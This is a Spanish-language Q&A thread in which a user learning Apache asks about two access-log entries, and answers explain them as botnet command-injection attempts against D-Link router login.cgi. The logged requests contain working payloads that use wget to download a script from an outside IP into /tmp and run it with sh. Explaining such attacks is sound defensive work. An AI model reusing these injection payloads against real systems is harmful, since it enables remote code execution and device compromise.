Estoy construyendo un nuevo servidor Apache
, de hecho estoy aprendiendo, así que estoy probando cosas diferentes. Mi sistema de seguridad ya está hecho, pero por supuesto puedo pasar por alto algo, o, si no, sí entiendo que hoy en día ningún sistema puede protegerme al 100%. Entonces, ¿por qué creo que alguien me intentó, sólo porque recibí en mis registros esto?
1.53.11.43 - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://148.72.176.78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0"
41.47.195.103 - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 566
Había más. Entiendo que a este alguien le sale un error 400 y eso no está mal para mí. Entonces, de hecho mi pregunta no es si me prueban, porque creo que sí, porque no parece una solicitud normal a mi sitio. Quiero obtener una explicación de esta solicitud para comprender y aprender. ¿Lo que realmente intentan hacer es encontrar mi sistema de inicio de sesión y enviarlo a alguien?
PD: Ya sé que wget
puedes descargar algún sitio web, también descubrí que login.cgi
es un programa de autenticación basado en cookies.
¡Gracias!
Respuesta1
Su visitante no deseado no intenta ocultar su intento de descargar y ejecutar algún script en su servidor.
Es posible que esté esperando que, no solo usted tenga dicho login.cgi
script en su lugar, sino que tampoco esté entregando correctamente su entrada, por lo que ejecuta directamente todo después del apóstrofo ( %27
en el registro codificado). Probablemente no tenga un script tan vulnerable, pero la suposición de que el código HTTP 400 siempre significa que usted no está afectado es infundada.
Lo más probable es que se trate de un ataque desatendido, dirigido a grandes grupos de objetivos aleatorios. Sólo se puede especular qué podría haber contenido el script que debía descargarse y ejecutarse. Es seguro asumir que no podrá determinar eso, porque el servidor que entrega el script generalmente proporcionará diferentes scripts(+) dependiendo de si se supone que el ataque fue exitoso hasta el momento o si se está investigando.
Es muy posible que el atacante también considerara improbable la ejecución del código, sino que simplemente estuviera recopilando información sobre su sistema. Todos los dispositivos con acceso a Internet deben esperar este tipo de solicitudes de forma regular y todos los scripts de su servidor web deben escribirse de manera que usted nunca tenga que preocuparse por ello.
(+)Por qué¿Un atacante proporcionaría scripts diferentes? Para dificultar la investigación de la escalada de privilegios posterior al compromiso. Es probable que el script se pierda de la memoria más adelante, por lo que asegurarse de que la víctima no pueda recuperarlo más tarde tiene sentido para el atacante.Cómo¿El atacante proporcionaría scripts diferentes? Se aseguraría de que el servidor web solo responda con la carga útil del ataque desde la IP de la máquina atacada, muy poco después del ataque. Como el ataque sólo puede tener éxito instantáneamente o fallar, cualquier recuperación posterior del script puede atribuirse al equipo forense de la víctima o a los investigadores de seguridad. Este no es un mecanismo nuevo o puramente teórico; en 2016, ya recibí diferentes cargas útiles basadas en IP (una secuencia de comandos estaba vacía y la otra contenía comandos para cargar una carga útil de tercera etapa).
Respuesta2
No es un ataque específico contra usted personalmente. Lo más probable es que se utilice una botnet para atacar a muchas de todas las direcciones IP posibles.
El login.cli
script que utiliza un parámetro cli
parece estar dirigido a enrutadores D-Link. Probablemente sea una variante deD-Link DSL-2750B - Inyección de comandos del sistema operativo:
Este módulo aprovecha una vulnerabilidad de inyección remota de comandos en dispositivos D-Link DSL-2750B. La vulnerabilidad se puede explotar mediante el parámetro "cli" que se utiliza directamente para invocar el binario "ayecli". Los firmwares vulnerables van desde 1.01 hasta 1.03.
Existen colecciones de listas de bloqueo para servidores web como nginx o Apache que puede utilizar para bloquear todas estas solicitudes. Dependiendo de su tráfico, puede resultar útil hacer esto, especialmente si tiene un sitio web pequeño y privado que no espera mucho tráfico.
Respuesta3
Sé que esta publicación tiene poco más de un año, sin embargo, puedo agregar algo de claridad a esto.
De hecho, es parte de una botnet. El script que está intentando descargar es un cuentagotas que intenta descargar, agregar bits/permisos ejecutables al archivo descargado (archivo eliminado), ejecutarlo y luego eliminarlo.
Hice un análisis de la nueva versión de este cuentagotas, es un script de shell no codificado. Esta red ha vuelto a estar activa hoy a medida que nos acercamos al año 2020.
En cuanto a la cuestión del uso de diferentes scripts, el desarrollador podría haber creado scripts separados para ejecutarlos en diferentes sistemas operativos. Parece que alguien volvió a empaquetar esta botnet y está intentando redistribuirla. Aquí hay un total de virus.Graficoque muestra la nueva actividad de esta botnet en particular.